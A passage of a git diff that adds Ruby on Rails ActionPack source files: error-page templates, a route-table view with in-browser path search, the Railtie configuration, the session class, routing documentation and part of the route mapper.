@@ -0,0 +1,30 @@
+<header>
+ <h1>Routing Error</h1>
+</header>
+<div id="container">
+ <h2><%= @exception.message %></h2>
+ <% unless @exception.failures.empty? %>
+ <p>
+ <h2>Failure reasons:</h2>
+ <ol>
+ <% @exception.failures.each do |route, reason| %>
+ <li><code><%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %></li>
+ <% end %>
+ </ol>
+ </p>
+ <% end %>
+
+ <%= render template: "rescues/_trace" %>
+
+ <% if @routes_inspector %>
+ <h2>
+ Routes
+ </h2>
+
+ <p>
+ Routes match in priority from top to bottom
+ </p>
+
+ <%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
+ <% end %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
new file mode 100644
index 0000000..31f46ee
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
@@ -0,0 +1,43 @@
+<% @source_extract = @exception.source_extract(0, :html) %>
+<header>
+ <h1>
+ <%= @exception.original_exception.class.to_s %> in
+ <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+ </h1>
+</header>
+
+<div id="container">
+ <p>
+ Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
+ </p>
+ <pre><code><%= @exception.message %></code></pre>
+
+ <div class="source">
+ <div class="info">
+ <p>Extracted source (around line <strong>#<%= @exception.line_number %></strong>):</p>
+ </div>
+ <div class="data">
+ <table cellpadding="0" cellspacing="0" class="lines">
+ <tr>
+ <td>
+ <pre class="line_numbers">
+ <% @source_extract.keys.each do |line_number| %>
+<span><%= line_number -%></span>
+ <% end %>
+ </pre>
+ </td>
+<td width="100%">
+<pre>
+<% @source_extract.each do |line, source| -%><div class="line<%= " active" if line == @exception.line_number -%>"><%= source -%></div><% end -%>
+</pre>
+</td>
+ </tr>
+ </table>
+</div>
+</div>
+
+ <p><%= @exception.sub_template_message %></p>
+
+ <%= render template: "rescues/_trace" %>
+ <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
new file mode 100644
index 0000000..c1fbf67
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
@@ -0,0 +1,6 @@
+<header>
+ <h1>Unknown action</h1>
+</header>
+<div id="container">
+ <h2><%= @exception.message %></h2>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
new file mode 100644
index 0000000..24e44f3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
@@ -0,0 +1,16 @@
+<tr class='route_row' data-helper='path'>
+ <td data-route-name='<%= route[:name] %>'>
+ <% if route[:name].present? %>
+ <%= route[:name] %><span class='helper'>_path</span>
+ <% end %>
+ </td>
+ <td data-route-verb='<%= route[:verb] %>'>
+ <%= route[:verb] %>
+ </td>
+ <td data-route-path='<%= route[:path] %>' data-regexp='<%= route[:regexp] %>'>
+ <%= route[:path] %>
+ </td>
+ <td data-route-reqs='<%= route[:reqs] %>'>
+ <%= route[:reqs] %>
+ </td>
+</tr>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
new file mode 100644
index 0000000..95461fa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -0,0 +1,144 @@
+<% content_for :style do %>
+ #route_table {
+ margin: 0 auto 0;
+ border-collapse: collapse;
+ }
+
+ #route_table td {
+ padding: 0 30px;
+ }
+
+ #route_table tr.bottom th {
+ padding-bottom: 10px;
+ line-height: 15px;
+ }
+
+ #route_table .matched_paths {
+ background-color: LightGoldenRodYellow;
+ }
+
+ #route_table .matched_paths {
+ border-bottom: solid 3px SlateGrey;
+ }
+
+ #path_search {
+ width: 80%;
+ font-size: inherit;
+ }
+<% end %>
+
+<table id='route_table' class='route_table'>
+ <thead>
+ <tr>
+ <th>Helper</th>
+ <th>HTTP Verb</th>
+ <th>Path</th>
+ <th>Controller#Action</th>
+ </tr>
+ <tr class='bottom'>
+ <th><%# Helper %>
+ <%= link_to "Path", "#", 'data-route-helper' => '_path',
+ title: "Returns a relative path (without the http or domain)" %> /
+ <%= link_to "Url", "#", 'data-route-helper' => '_url',
+ title: "Returns an absolute url (with the http and domain)" %>
+ </th>
+ <th><%# HTTP Verb %>
+ </th>
+ <th><%# Path %>
+ <%= search_field(:path, nil, id: 'path_search', placeholder: "Path Match") %>
+ </th>
+ <th><%# Controller#action %>
+ </th>
+ </tr>
+ </thead>
+ <tbody class='matched_paths' id='matched_paths'>
+ </tbody>
+ <tbody>
+ <%= yield %>
+ </tbody>
+</table>
+
+<script type='text/javascript'>
+ function each(elems, func) {
+ if (!elems instanceof Array) { elems = [elems]; }
+ for (var i = 0, len = elems.length; i < len; i++) {
+ func(elems[i]);
+ }
+ }
+
+ function setValOn(elems, val) {
+ each(elems, function(elem) {
+ elem.innerHTML = val;
+ });
+ }
+
+ function onClick(elems, func) {
+ each(elems, function(elem) {
+ elem.onclick = func;
+ });
+ }
+
+ // Enables functionality to toggle between `_path` and `_url` helper suffixes
+ function setupRouteToggleHelperLinks() {
+ var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
+ onClick(toggleLinks, function(){
+ var helperTxt = this.getAttribute("data-route-helper"),
+ helperElems = document.querySelectorAll('[data-route-name] span.helper');
+ setValOn(helperElems, helperTxt);
+ });
+ }
+
+ // takes an array of elements with a data-regexp attribute and
+ // passes their their parent <tr> into the callback function
+ // if the regexp matchs a given path
+ function eachElemsForPath(elems, path, func) {
+ each(elems, function(e){
+ var reg = e.getAttribute("data-regexp");
+ if (path.match(RegExp(reg))) {
+ func(e.parentNode.cloneNode(true));
+ }
+ })
+ }
+
+ // Ensure path always starts with a slash "/" and remove params or fragments
+ function sanitizePath(path) {
+ var path = path.charAt(0) == '/' ? path : "/" + path;
+ return path.replace(/\#.*|\?.*/, '');
+ }
+
+ // Enables path search functionality
+ function setupMatchPaths() {
+ var regexpElems = document.querySelectorAll('#route_table [data-regexp]'),
+ pathElem = document.querySelector('#path_search'),
+ selectedSection = document.querySelector('#matched_paths'),
+ noMatchText = '<tr><th colspan="4">None</th></tr>';
+
+
+ // Remove matches if no path is present
+ pathElem.onblur = function(e) {
+ if (pathElem.value === "") selectedSection.innerHTML = "";
+ }
+
+ // On key press perform a search for matching paths
+ pathElem.onkeyup = function(e){
+ var path = sanitizePath(pathElem.value),
+ defaultText = '<tr><th colspan="4">Paths Matching (' + path + '):</th></tr>';
+
+ // Clear out results section
+ selectedSection.innerHTML= defaultText;
+
+ // Display matches if they exist
+ eachElemsForPath(regexpElems, path, function(e){
+ selectedSection.appendChild(e);
+ });
+
+ // If no match present, tell the user
+ if (selectedSection.innerHTML === defaultText) {
+ selectedSection.innerHTML = selectedSection.innerHTML + noMatchText;
+ }
+ }
+ }
+
+ setupMatchPaths();
+ setupRouteToggleHelperLinks();
+</script>
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
new file mode 100644
index 0000000..edf37bb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -0,0 +1,44 @@
+require "action_dispatch"
+
+module ActionDispatch
+ class Railtie < Rails::Railtie # :nodoc:
+ config.action_dispatch = ActiveSupport::OrderedOptions.new
+ config.action_dispatch.x_sendfile_header = nil
+ config.action_dispatch.ip_spoofing_check = true
+ config.action_dispatch.show_exceptions = true
+ config.action_dispatch.tld_length = 1
+ config.action_dispatch.ignore_accept_header = false
+ config.action_dispatch.rescue_templates = { }
+ config.action_dispatch.rescue_responses = { }
+ config.action_dispatch.default_charset = nil
+ config.action_dispatch.rack_cache = false
+ config.action_dispatch.http_auth_salt = 'http authentication'
+ config.action_dispatch.signed_cookie_salt = 'signed cookie'
+ config.action_dispatch.encrypted_cookie_salt = 'encrypted cookie'
+ config.action_dispatch.encrypted_signed_cookie_salt = 'signed encrypted cookie'
+
+ config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff',
+ 'X-UA-Compatible' => 'chrome=1'
+ }
+
+ config.eager_load_namespaces << ActionDispatch
+
+ initializer "action_dispatch.configure" do |app|
+ ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
+ ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+ ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
+ ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
+
+ ActionDispatch::ExceptionWrapper.rescue_responses.merge!(config.action_dispatch.rescue_responses)
+ ActionDispatch::ExceptionWrapper.rescue_templates.merge!(config.action_dispatch.rescue_templates)
+
+ config.action_dispatch.always_write_cookie = Rails.env.development? if config.action_dispatch.always_write_cookie.nil?
+ ActionDispatch::Cookies::CookieJar.always_write_cookie = config.action_dispatch.always_write_cookie
+
+ ActionDispatch.test_app = app
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
new file mode 100644
index 0000000..7bc812f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -0,0 +1,181 @@
+require 'rack/session/abstract/id'
+
+module ActionDispatch
+ class Request < Rack::Request
+ # Session is responsible for lazily loading the session from store.
+ class Session # :nodoc:
+ ENV_SESSION_KEY = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
+ ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
+
+ def self.create(store, env, default_options)
+ session_was = find env
+ session = Request::Session.new(store, env)
+ session.merge! session_was if session_was
+
+ set(env, session)
+ Options.set(env, Request::Session::Options.new(store, env, default_options))
+ session
+ end
+
+ def self.find(env)
+ env[ENV_SESSION_KEY]
+ end
+
+ def self.set(env, session)
+ env[ENV_SESSION_KEY] = session
+ end
+
+ class Options #:nodoc:
+ def self.set(env, options)
+ env[ENV_SESSION_OPTIONS_KEY] = options
+ end
+
+ def self.find(env)
+ env[ENV_SESSION_OPTIONS_KEY]
+ end
+
+ def initialize(by, env, default_options)
+ @by = by
+ @env = env
+ @delegate = default_options.dup
+ end
+
+ def [](key)
+ if key == :id
+ @delegate.fetch(key) {
+ @delegate[:id] = @by.send(:extract_session_id, @env)
+ }
+ else
+ @delegate[key]
+ end
+ end
+
+ def []=(k,v); @delegate[k] = v; end
+ def to_hash; @delegate.dup; end
+ def values_at(*args); @delegate.values_at(*args); end
+ end
+
+ def initialize(by, env)
+ @by = by
+ @env = env
+ @delegate = {}
+ @loaded = false
+ @exists = nil # we haven't checked yet
+ end
+
+ def id
+ options[:id]
+ end
+
+ def options
+ Options.find @env
+ end
+
+ def destroy
+ clear
+ options = self.options || {}
+ new_sid = @by.send(:destroy_session, @env, options[:id], options)
+ options[:id] = new_sid # Reset session id with a new value or nil
+
+ # Load the new sid to be written with the response
+ @loaded = false
+ load_for_write!
+ end
+
+ def [](key)
+ load_for_read!
+ @delegate[key.to_s]
+ end
+
+ def has_key?(key)
+ load_for_read!
+ @delegate.key?(key.to_s)
+ end
+ alias :key? :has_key?
+ alias :include? :has_key?
+
+ def keys
+ @delegate.keys
+ end
+
+ def values
+ @delegate.values
+ end
+
+ def []=(key, value)
+ load_for_write!
+ @delegate[key.to_s] = value
+ end
+
+ def clear
+ load_for_write!
+ @delegate.clear
+ end
+
+ def to_hash
+ load_for_read!
+ @delegate.dup.delete_if { |_,v| v.nil? }
+ end
+
+ def update(hash)
+ load_for_write!
+ @delegate.update stringify_keys(hash)
+ end
+
+ def delete(key)
+ load_for_write!
+ @delegate.delete key.to_s
+ end
+
+ def inspect
+ if loaded?
+ super
+ else
+ "#<#{self.class}:0x#{(object_id << 1).to_s(16)} not yet loaded>"
+ end
+ end
+
+ def exists?
+ return @exists unless @exists.nil?
+ @exists = @by.send(:session_exists?, @env)
+ end
+
+ def loaded?
+ @loaded
+ end
+
+ def empty?
+ load_for_read!
+ @delegate.empty?
+ end
+
+ def merge!(other)
+ load_for_write!
+ @delegate.merge!(other)
+ end
+
+ private
+
+ def load_for_read!
+ load! if !loaded? && exists?
+ end
+
+ def load_for_write!
+ load! unless loaded?
+ end
+
+ def load!
+ id, session = @by.load_session @env
+ options[:id] = id
+ @delegate.replace(stringify_keys(session))
+ @loaded = true
+ end
+
+ def stringify_keys(other)
+ other.each_with_object({}) { |(key, value), hash|
+ hash[key.to_s] = value
+ }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
new file mode 100644
index 0000000..550c7d0
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -0,0 +1,258 @@
+# encoding: UTF-8
+require 'active_support/core_ext/object/to_param'
+require 'active_support/core_ext/regexp'
+
+module ActionDispatch
+ # The routing module provides URL rewriting in native Ruby. It's a way to
+ # redirect incoming requests to controllers and actions. This replaces
+ # mod_rewrite rules. Best of all, Rails' \Routing works with any web server.
+ # Routes are defined in <tt>config/routes.rb</tt>.
+ #
+ # Think of creating routes as drawing a map for your requests. The map tells
+ # them where to go based on some predefined pattern:
+ #
+ # AppName::Application.routes.draw do
+ # Pattern 1 tells some request to go to one place
+ # Pattern 2 tell them to go to another
+ # ...
+ # end
+ #
+ # The following symbols are special:
+ #
+ # :controller maps to your controller name
+ # :action maps to an action with your controllers
+ #
+ # Other names simply map to a parameter as in the case of <tt>:id</tt>.
+ #
+ # == Resources
+ #
+ # Resource routing allows you to quickly declare all of the common routes
+ # for a given resourceful controller. Instead of declaring separate routes
+ # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
+ # actions, a resourceful route declares them in a single line of code:
+ #
+ # resources :photos
+ #
+ # Sometimes, you have a resource that clients always look up without
+ # referencing an ID. A common example, /profile always shows the profile of
+ # the currently logged in user. In this case, you can use a singular resource
+ # to map /profile (rather than /profile/:id) to the show action.
+ #
+ # resource :profile
+ #
+ # It's common to have resources that are logically children of other
+ # resources:
+ #
+ # resources :magazines do
+ # resources :ads
+ # end
+ #
+ # You may wish to organize groups of controllers under a namespace. Most
+ # commonly, you might group a number of administrative controllers under
+ # an +admin+ namespace. You would place these controllers under the
+ # <tt>app/controllers/admin</tt> directory, and you can group them together
+ # in your router:
+ #
+ # namespace "admin" do
+ # resources :posts, :comments
+ # end
+ #
+ # Alternately, you can add prefixes to your path without using a separate
+ # directory by using +scope+. +scope+ takes additional options which
+ # apply to all enclosed routes.
+ #
+ # scope path: "/cpanel", as: 'admin' do
+ # resources :posts, :comments
+ # end
+ #
+ # For more, see <tt>Routing::Mapper::Resources#resources</tt>,
+ # <tt>Routing::Mapper::Scoping#namespace</tt>, and
+ # <tt>Routing::Mapper::Scoping#scope</tt>.
+ #
+ # == Non-resourceful routes
+ #
+ # For routes that don't fit the <tt>resources</tt> mold, you can use the HTTP helper
+ # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
+ #
+ # get 'post/:id' => 'posts#show'
+ # post 'post/:id' => 'posts#create_comment'
+ #
+ # If your route needs to respond to more than one HTTP method (or all methods) then using the
+ # <tt>:via</tt> option on <tt>match</tt> is preferable.
+ #
+ # match 'post/:id' => 'posts#show', via: [:get, :post]
+ #
+ # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
+ # URL will route to the <tt>show</tt> action.
+ #
+ # == Named routes
+ #
+ # Routes can be named by passing an <tt>:as</tt> option,
+ # allowing for easy reference within your source as +name_of_route_url+
+ # for the full URL and +name_of_route_path+ for the URI path.
+ #
+ # Example:
+ #
+ # # In routes.rb
+ # get '/login' => 'accounts#login', as: 'login'
+ #
+ # # With render, redirect_to, tests, etc.
+ # redirect_to login_url
+ #
+ # Arguments can be passed as well.
+ #
+ # redirect_to show_item_path(id: 25)
+ #
+ # Use <tt>root</tt> as a shorthand to name a route for the root path "/".
+ #
+ # # In routes.rb
+ # root to: 'blogs#index'
+ #
+ # # would recognize http://www.example.com/ as
+ # params = { controller: 'blogs', action: 'index' }
+ #
+ # # and provide these named routes
+ # root_url # => 'http://www.example.com/'
+ # root_path # => '/'
+ #
+ # Note: when using +controller+, the route is simply named after the
+ # method you call on the block parameter rather than map.
+ #
+ # # In routes.rb
+ # controller :blog do
+ # get 'blog/show' => :list
+ # get 'blog/delete' => :delete
+ # get 'blog/edit/:id' => :edit
+ # end
+ #
+ # # provides named routes for show, delete, and edit
+ # link_to @article.title, show_path(id: @article.id)
+ #
+ # == Pretty URLs
+ #
+ # Routes can generate pretty URLs. For example:
+ #
+ # get '/articles/:year/:month/:day' => 'articles#find_by_id', constraints: {
+ # year: /\d{4}/,
+ # month: /\d{1,2}/,
+ # day: /\d{1,2}/
+ # }
+ #
+ # Using the route above, the URL "http://localhost:3000/articles/2005/11/06"
+ # maps to
+ #
+ # params = {year: '2005', month: '11', day: '06'}
+ #
+ # == Regular Expressions and parameters
+ # You can specify a regular expression to define a format for a parameter.
+ #
+ # controller 'geocode' do
+ # get 'geocode/:postalcode' => :show, constraints: {
+ # postalcode: /\d{5}(-\d{4})?/
+ # }
+ #
+ # Constraints can include the 'ignorecase' and 'extended syntax' regular
+ # expression modifiers:
+ #
+ # controller 'geocode' do
+ # get 'geocode/:postalcode' => :show, constraints: {
+ # postalcode: /hx\d\d\s\d[a-z]{2}/i
+ # }
+ # end
+ #
+ # controller 'geocode' do
+ # get 'geocode/:postalcode' => :show, constraints: {
+ # postalcode: /# Postcode format
+ # \d{5} #Prefix
+ # (-\d{4})? #Suffix
+ # /x
+ # }
+ # end
+ #
+ # Using the multiline modifier will raise an +ArgumentError+.
+ # Encoding regular expression modifiers are silently ignored. The
+ # match will always use the default encoding or ASCII.
+ #
+ # == External redirects
+ #
+ # You can redirect any path to another path using the redirect helper in your router:
+ #
+ # get "/stories" => redirect("/posts")
+ #
+ # == Unicode character routes
+ #
+ # You can specify unicode character routes in your router:
+ #
+ # get "こんにちは" => "welcome#index"
+ #
+ # == Routing to Rack Applications
+ #
+ # Instead of a String, like <tt>posts#index</tt>, which corresponds to the
+ # index action in the PostsController, you can specify any Rack application
+ # as the endpoint for a matcher:
+ #
+ # get "/application.js" => Sprockets
+ #
+ # == Reloading routes
+ #
+ # You can reload routes if you feel you must:
+ #
+ # Rails.application.reload_routes!
+ #
+ # This will clear all named routes and reload routes.rb if the file has been modified from
+ # last load. To absolutely force reloading, use <tt>reload!</tt>.
+ #
+ # == Testing Routes
+ #
+ # The two main methods for testing your routes:
+ #
+ # === +assert_routing+
+ #
+ # def test_movie_route_properly_splits
+ # opts = {controller: "plugin", action: "checkout", id: "2"}
+ # assert_routing "plugin/checkout/2", opts
+ # end
+ #
+ # +assert_routing+ lets you test whether or not the route properly resolves into options.
+ #
+ # === +assert_recognizes+
+ #
+ # def test_route_has_options
+ # opts = {controller: "plugin", action: "show", id: "12"}
+ # assert_recognizes opts, "/plugins/show/12"
+ # end
+ #
+ # Note the subtle difference between the two: +assert_routing+ tests that
+ # a URL fits options while +assert_recognizes+ tests that a URL
+ # breaks into parameters properly.
+ #
+ # In tests you can simply pass the URL or named route to +get+ or +post+.
+ #
+ # def send_to_jail
+ # get '/jail'
+ # assert_response :success
+ # assert_template "jail/front"
+ # end
+ #
+ # def goes_to_login
+ # get login_url
+ # #...
+ # end
+ #
+ # == View a list of all your routes
+ #
+ # rake routes
+ #
+ # Target specific controllers by prefixing the command with <tt>CONTROLLER=x</tt>.
+ #
+ module Routing
+ autoload :Mapper, 'action_dispatch/routing/mapper'
+ autoload :RouteSet, 'action_dispatch/routing/route_set'
+ autoload :RoutesProxy, 'action_dispatch/routing/routes_proxy'
+ autoload :UrlFor, 'action_dispatch/routing/url_for'
+ autoload :PolymorphicRoutes, 'action_dispatch/routing/polymorphic_routes'
+
+ SEPARATORS = %w( / . ? ) #:nodoc:
+ HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc:
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
new file mode 100644
index 0000000..d251de3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -0,0 +1,240 @@
+require 'delegate'
+require 'active_support/core_ext/string/strip'
+
+module ActionDispatch
+ module Routing
+ class RouteWrapper < SimpleDelegator
+ def endpoint
+ rack_app ? rack_app.inspect : "#{controller}##{action}"
+ end
+
+ def constraints
+ requirements.except(:controller, :action)
+ end
+
+ def rack_app(app = self.app)
+ @rack_app ||= begin
+ class_name = app.class.name.to_s
+ if class_name == "ActionDispatch::Routing::Mapper::Constraints"
+ rack_app(app.app)
+ elsif ActionDispatch::Routing::Redirect === app || class_name !~ /^ActionDispatch::Routing/
+ app
+ end
+ end
+ end
+
+ def verb
+ super.source.gsub(/[$^]/, '')
+ end
+
+ def path
+ super.spec.to_s
+ end
+
+ def name
+ super.to_s
+ end
+
+ def regexp
+ __getobj__.path.to_regexp
+ end
+
+ def json_regexp
+ str = regexp.inspect.
+ sub('\\A' , '^').
+ sub('\\Z' , '$').
+ sub('\\z' , '$').
+ sub(/^\// , '').
+ sub(/\/[a-z]*$/ , '').
+ gsub(/\(\?#.+\)/ , '').
+ gsub(/\(\?-\w+:/ , '(').
+ gsub(/\s/ , '')
+ Regexp.new(str).source
+ end
+
+ def reqs
+ @reqs ||= begin
+ reqs = endpoint
+ reqs += " #{constraints.to_s}" unless constraints.empty?
+ reqs
+ end
+ end
+
+ def controller
+ requirements[:controller] || ':controller'
+ end
+
+ def action
+ requirements[:action] || ':action'
+ end
+
+ def internal?
+ controller =~ %r{\Arails/(info|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}}
+ end
+
+ def engine?
+ rack_app && rack_app.respond_to?(:routes)
+ end
+ end
+
+ ##
+ # This class is just used for displaying route information when someone
+ # executes `rake routes` or looks at the RoutingError page.
+ # People should not use this class.
+ class RoutesInspector # :nodoc:
+ def initialize(routes)
+ @engines = {}
+ @routes = routes
+ end
+
+ def format(formatter, filter = nil)
+ routes_to_display = filter_routes(filter)
+
+ routes = collect_routes(routes_to_display)
+
+ if routes.none?
+ formatter.no_routes
+ return formatter.result
+ end
+
+ formatter.header routes
+ formatter.section routes
+
+ @engines.each do |name, engine_routes|
+ formatter.section_title "Routes for #{name}"
+ formatter.section engine_routes
+ end
+
+ formatter.result
+ end
+
+ private
+
+ def filter_routes(filter)
+ if filter
+ @routes.select { |route| route.defaults[:controller] == filter }
+ else
+ @routes
+ end
+ end
+
+ def collect_routes(routes)
+ routes.collect do |route|
+ RouteWrapper.new(route)
+ end.reject do |route|
+ route.internal?
+ end.collect do |route|
+ collect_engine_routes(route)
+
+ { name: route.name,
+ verb: route.verb,
+ path: route.path,
+ reqs: route.reqs,
+ regexp: route.json_regexp }
+ end
+ end
+
+ def collect_engine_routes(route)
+ name = route.endpoint
+ return unless route.engine?
+ return if @engines[name]
+
+ routes = route.rack_app.routes
+ if routes.is_a?(ActionDispatch::Routing::RouteSet)
+ @engines[name] = collect_routes(routes.routes)
+ end
+ end
+ end
+
+ class ConsoleFormatter
+ def initialize
+ @buffer = []
+ end
+
+ def result
+ @buffer.join("\n")
+ end
+
+ def section_title(title)
+ @buffer << "\n#{title}:"
+ end
+
+ def section(routes)
+ @buffer << draw_section(routes)
+ end
+
+ def header(routes)
+ @buffer << draw_header(routes)
+ end
+
+ def no_routes
+ @buffer << <<-MESSAGE.strip_heredoc
+ You don't have any routes defined!
+
+ Please add some routes in config/routes.rb.
+
+ For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html.
+ MESSAGE
+ end
+
+ private
+ def draw_section(routes)
+ name_width, verb_width, path_width = widths(routes)
+
+ routes.map do |r|
+ "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+ end
+ end
+
+ def draw_header(routes)
+ name_width, verb_width, path_width = widths(routes)
+
+ "#{"Prefix".rjust(name_width)} #{"Verb".ljust(verb_width)} #{"URI Pattern".ljust(path_width)} Controller#Action"
+ end
+
+ def widths(routes)
+ [routes.map { |r| r[:name].length }.max,
+ routes.map { |r| r[:verb].length }.max,
+ routes.map { |r| r[:path].length }.max]
+ end
+ end
+
+ class HtmlTableFormatter
+ def initialize(view)
+ @view = view
+ @buffer = []
+ end
+
+ def section_title(title)
+ @buffer << %(<tr><th colspan="4">#{title}</th></tr>)
+ end
+
+ def section(routes)
+ @buffer << @view.render(partial: "routes/route", collection: routes)
+ end
+
+ # the header is part of the HTML page, so we don't construct it here.
+ def header(routes)
+ end
+
+ def no_routes
+ @buffer << <<-MESSAGE.strip_heredoc
+ <p>You don't have any routes defined!</p>
+ <ul>
+ <li>Please add some routes in <tt>config/routes.rb</tt>.</li>
+ <li>
+ For more information about routes, please see the Rails guide
+ <a href="http://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a>.
+ </li>
+ </ul>
+ MESSAGE
+ end
+
+ def result
+ @view.raw @view.render(layout: "routes/table") {
+ @view.raw @buffer.join("\n")
+ }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
new file mode 100644
index 0000000..1611812
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -0,0 +1,1761 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/inflector'
+require 'action_dispatch/routing/redirection'
+
+module ActionDispatch
+ module Routing
+ class Mapper
+ URL_OPTIONS = [:protocol, :subdomain, :domain, :host, :port]
+ SCOPE_OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module,
+ :controller, :path_names, :constraints, :defaults,
+ :shallow, :blocks, :options]
+
+ class Constraints #:nodoc:
+ def self.new(app, constraints, request = Rack::Request)
+ if constraints.any?
+ super(app, constraints, request)
+ else
+ app
+ end
+ end
+
+ attr_reader :app, :constraints
+
+ def initialize(app, constraints, request)
+ @app, @constraints, @request = app, constraints, request
+ end
+
+ def matches?(env)
+ req = @request.new(env)
+
+ @constraints.all? do |constraint|
+ (constraint.respond_to?(:matches?) && constraint.matches?(req)) ||
+ (constraint.respond_to?(:call) && constraint.call(*constraint_args(constraint, req)))
+ end
+ ensure
+ req.reset_parameters
+ end
+
+ def call(env)
+ matches?(env) ? @app.call(env) : [ 404, {'X-Cascade' => 'pass'}, [] ]
+ end
+
+ private
+ def constraint_args(constraint, request)
+ constraint.arity == 1 ? [request] : [request.symbolized_path_parameters, request]
+ end
+ end
+
+ class Mapping #:nodoc:
+ IGNORE_OPTIONS = [:to, :as, :via, :on, :constraints, :defaults, :only, :except, :anchor, :shallow, :shallow_path, :shallow_prefix, :format]
+ ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
+ WILDCARD_PATH = %r{\*([^/\)]+)\)?$}
+
+ attr_reader :scope, :path, :options, :requirements, :conditions, :defaults
+
+ def initialize(set, scope, path, options)
+ @set, @scope, @path, @options = set, scope, path, options
+ @requirements, @conditions, @defaults = {}, {}, {}
+
+ normalize_options!
+ normalize_path!
+ normalize_requirements!
+ normalize_conditions!
+ normalize_defaults!
+ end
+
+ def to_route
+ [ app, conditions, requirements, defaults, options[:as], options[:anchor] ]
+ end
+
+ private
+
+ def normalize_path!
+ raise ArgumentError, "path is required" if @path.blank?
+ @path = Mapper.normalize_path(@path)
+
+ if required_format?
+ @path = "#{@path}.:format"
+ elsif optional_format?
+ @path = "#{@path}(.:format)"
+ end
+ end
+
+ def required_format?
+ options[:format] == true
+ end
+
+ def optional_format?
+ options[:format] != false && !path.include?(':format') && !path.end_with?('/')
+ end
+
+ def normalize_options!
+ @options.reverse_merge!(scope[:options]) if scope[:options]
+ path_without_format = path.sub(/\(\.:format\)$/, '')
+
+ # Add a constraint for wildcard route to make it non-greedy and match the
+ # optional format part of the route by default
+ if path_without_format.match(WILDCARD_PATH) && @options[:format] != false
+ @options[$1.to_sym] ||= /.+?/
+ end
+
+ if path_without_format.match(':controller')
+ raise ArgumentError, ":controller segment is not allowed within a namespace block" if scope[:module]
+
+ # Add a default constraint for :controller path segments that matches namespaced
+ # controllers with default routes like :controller/:action/:id(.:format), e.g:
+ # GET /admin/products/show/1
+ # => { controller: 'admin/products', action: 'show', id: '1' }
+ @options[:controller] ||= /.+?/
+ end
+
+ @options.merge!(default_controller_and_action)
+ end
+
+ def normalize_requirements!
+ constraints.each do |key, requirement|
+ next unless segment_keys.include?(key) || key == :controller
+ verify_regexp_requirement(requirement) if requirement.is_a?(Regexp)
+ @requirements[key] = requirement
+ end
+
+ if options[:format] == true
+ @requirements[:format] ||= /.+/
+ elsif Regexp === options[:format]
+ @requirements[:format] = options[:format]
+ elsif String === options[:format]
+ @requirements[:format] = Regexp.compile(options[:format])
+ end
+ end
+
+ def verify_regexp_requirement(requirement)
+ if requirement.source =~ ANCHOR_CHARACTERS_REGEX
